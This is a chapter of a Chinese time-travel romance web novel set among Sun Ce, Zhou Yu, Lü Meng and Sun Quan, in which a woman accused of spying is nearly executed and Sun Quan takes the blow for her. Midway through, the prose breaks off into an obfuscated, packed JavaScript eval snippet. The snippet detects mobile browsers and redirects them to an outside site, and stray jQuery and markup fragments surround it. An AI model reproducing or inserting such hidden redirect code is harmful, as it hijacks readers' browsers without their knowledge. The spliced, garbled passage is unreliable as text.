孙策话音刚落,吕蒙便举起手中貌似屠夫的砍刀直逼步一乔而来。
寒光乍现,刀锋距她的天灵盖仅差毫厘,险些将她一分为二。
步一乔翻转着滚到一边,发丝被削下几根,宽大的袖摆被吕蒙落下的砍刀破坏。
啧,古人的衣服就是碍事!
“我是敌是友将军莫非看不出吗!”步一乔吼道。
孙策负在身后的手攥紧,垂眸避开她灼灼的目光。他亲眼见过她眼底的赤诚,明知她不会是细作,但此刻却必须硬起心肠。
“军令如山。”
孙策吐出这四个字,声音沉郁如铁,仿佛不是在判决她,而是在禁锢自己内心某处即将崩裂的角落。
说给旁人听,也说给自己听。
他是万军之将,他的身份、肩上的责任,不许他有丝毫的私情与包庇。他甚至不敢再看步一乔一眼,生怕多看一眼,艰难筑起的心理堤坝就会彻底溃决。
话音未落,吕蒙的第二刀已至。
求生的本能压倒了一切。
她猛地向侧后方仰倒,狼狈就地手脚并用向旁爬去。冰冷的刀锋几乎擦着她的臂膀掠过,重重劈入她方才之地。
顾不上疼痛,屁股摩擦地面后退,呼吸急促,眼中只剩那柄索命的凶器。
“将军!”
步一乔手指扣紧地面。
“我不是细作,我不是任何人派来的细作!但我也无法解释自己为何去见许贡的门客……将军不必伤感或者自责,我从未做背叛你的事,你也……没有。”
话音落,吕蒙第三刀又起,步一乔不再停留,转身朝屋外疾奔而去!
*
步一乔踉跄冲出厅门,身后吕蒙的脚步声如影随形。孙策在她逃离后仍然站在原地,久久未动。
她发足狂奔,穿过回廊、踏碎花枝,温热却寒彻骨的风刮过耳畔,却吹不散身后那股几乎凝成实质的杀意。
步一乔这辈子没跑那么快过,感觉喉咙快撕裂开得疼。
该往哪儿跑?!从哪里可以逃出去!
地牢吗?不行!卧房?更不行!
最终,她被逼至大门,沉重的府门早被人落锁,高墙环绕,再无退路。
有人早料到她会逃,提前断了她的去路!
步一乔眼瞅着逃无可逃,在锁死的院门前站定回身面对他。
吕蒙握着刀走来,神色平静眸色无光。
“是周瑜叫你跟踪我的,是不是?”
“得亏公瑾瞧你形迹可疑,特命我暗中盯着。果然被他料中,你个袁术派来的细作!”
“我再说最后一次,我不是袁术的人。”
“我才不管你是什么。蛊惑人心,来路不明,主公为何不下令杀你,这便是最好的证明。”
步一乔无语,朝吕蒙翻了个白眼。
“他不杀我,说明我是好人!伯符能明辨是非,你追随他多年,这点分辨之力还没学会吗!孙权叫你读的书都白读了吗!”
“你连此事都知!还敢说不是细作!老实交代,你给袁术送去了多少情报!”
“这事营中谁人不知?吕子明,你莫不是练武练傻了?”
“住嘴妖女!受死吧。”
吕蒙的刀锋挟着寒意,迫近步一乔的咽喉。
就在这千钧一发之际,一个清朗而沉稳的声音自廊柱后的阴影中传来:
“子明,住手。”
吕蒙刀势一滞,与步一乔同时循声望去。
周瑜缓步从暗影中走出,神色平静无波,似乎早已在此静观多时。
步一乔在此见到周瑜一点不意外。或者说,那个早料到并断了她去路的人,正是周瑜。
“公瑾?”
吕蒙虽依言未再进逼,但刀仍未归鞘。
“此女行迹鬼祟,意图不轨,必是袁术细作无疑!为何阻我?”
周瑜并未立刻回答吕蒙,目光先是落在步一乔身上,将她略显狼狈却依旧强作镇定的模样收入眼底,唇角牵起一丝了然的弧度,这才转向吕蒙。
“刀下留人,非为阻你。在她死之前,尚有些话,需得问个明白。”
他向前踱了一步,重新锁回步一乔苍白的脸上。
目光锐利,似要穿透她的灵魂,却又奇异地夹杂着一丝近乎悲悯的审视。
“步姑娘,我知道你的身份。自己交代吧,不必再做无谓的遮掩。”
步一乔轻笑,道:“周公子不妨先说说,我什么身份?”
“你既能知晓许贡的残余躲在何处,还能安然无恙的从里面走出来,足以见得步姑娘并非寻常女子。”
“多谢周公子夸奖。”
“若你并非细作,我猜,你大概是去劝阻其莫要谋划刺杀伯符。对吗?”
“那如果我是呢?”
“那答案便反过来。”
步一乔唇角弯起,“不愧是周瑜,就是聪明。既然你都猜到了,可以放我走吗?”
“但还有一事,我不明白。你究竟如何知道他们藏身于何处?如何知道他们的轨迹,以及……”
周瑜目光陡然锐利。
“北上突袭许都,迎奉汉帝之事?”
步一乔轻挑眉梢,“原来是因为这个。”
想必那日自己将话告知与孙策后,纳了闷的孙策转头就找周瑜商讨了吧。
也是,秘密商讨的事,被一个妇人知晓,确实奇怪。
“我承认你确实有几分姿色,不怪伯符和仲谋都倾心与你。但你知晓的事情太多,且毫无线索查明你是如何知晓的。”
“我自有我的渠道。”
“生死关头也叫你无法一一说明?”
“……是。”
周瑜逼视着她的眼睛,甚是不解。
恰在此时,一阵急促的脚步声由远及近。孙策疾步而来,眉宇间凝着沉重的忧色。
步一乔眼中蓦地泛起一丝希冀的光。
“孙策将军!”
孙策闻抬眸
步一乔扬起一如既往温柔的笑。
“你信我的,对吗?”
孙策双唇紧抿,握剑的手背上青筋隐现。他久久不语,不知如何语。
步一乔急切向前半步道:“我真的不是细作,不是来害将军的。我知晓许贡的门客正谋划行刺将军一事,且时日将至,故此只身去寻。与他们说明了事情的利害,劝他们不要轻举妄动。”
“可这些……你又如何得知的?”
孙策的目光深沉如夜。
步一乔垂下眼帘。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467244|185506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“抱歉,唯独这,我无法直言。”
孙策闭上双眼。
步一乔凝望着他脸上那近乎绝望的神情,忽然明白了什么叫做心如刀绞。所有的辩解都已苍白无力。
“罢了……”
她长叹一口气,语气里带着说不尽的疲惫与释然。
“要杀就杀吧,我不想再说话了。”
她不愿再说,也不忍再看那双曾经盛满温柔,此刻却只剩失望的眼眸。
“吕蒙。”
周瑜说着,退至阶下,走到孙策身前掩去。
“动手。”
渐暗的天色中,步一乔望了眼逐渐阴霾的天空。
腰上的肌肉还隐约作痛,昨夜在那人卧房中的一幕幕划过脑海。肩膀上的吻痕应该还在吧?大腿后侧估计也还有指印。
初夜啊……
她也想起了一千多年后的亲友。
如果当年她没有填报历史系,没有喜欢上孙策,听到教授说穿越毫无兴趣……这一切是不是就不会发生?
这会只是我的无端妄想吗?步一乔心想。总觉得还得跟孙权说上两句再离开。
可是……说什么呢?
即便自己跟他睡了,心底喜欢的人依旧是他哥吗?
好讽刺、幼稚的话。
眼前的刀刃举过头顶,步一乔挫败地低下头,呆呆地望着砖缝间折出淡淡的光边。
由此去罢。
*
预想中撕裂的剧痛并未降临。
取而代之的是一声利刃割开皮肉的闷响,以及一声压抑的、她似乎听过的闷哼。
一道身影冲来挡在了她的身前,硬生生截断了索命的寒光。
众人皆愕然看向拦在吕蒙与步一乔中间的人,利刃在他身前划开一条不算太深的口子,鲜血转眼染透层层衣襟。
来者低下头,怔怔地看着吕蒙手中的刀刃上流着自己的鲜血。又回过头,看向身后安然无恙、满脸惊愕的步一乔。
欣慰一笑。
愧疚感排山倒海般袭来,瞬间淹没了步一乔。
“你为何……”
她感知到自己的所有在发抖,破碎得不成样。
来者颤巍巍地伸出手,似乎想确认她是否安好。
步一乔从巨大的惊骇中惊醒,几乎是扑上去紧紧抓住了他的手,用尽全身力气支撑住他下滑的身体。
紧攥的掌心在她纤细的手上停留片刻后,随即力竭般垂落。
三人:“仲谋!”
步一乔:“孙、孙权?孙权!!”
*
步一乔什么都听不清了,她的视线死死锁在孙权迅速失去血色的脸上,看着他无力地倒向地面。
前所未有的恐慌和刺痛攥紧了她的心脏。
她跟着孙权滑落的身子一同跪倒下去,喉咙被堵住发不出任何声音。
只有滚烫的泪水毫无预休止地夺眶而出,砸在孙权染血的衣襟上。
不是假的。
温热的血,沉重的身躯,为她而受的伤……都不是她现代记忆里冰冷的文字和想象。
感动、悔恨、恐惧……无数情绪最终汇成一声哽咽在喉间的、几乎听不清的低唤:
“……孙权……孙权你别死啊!”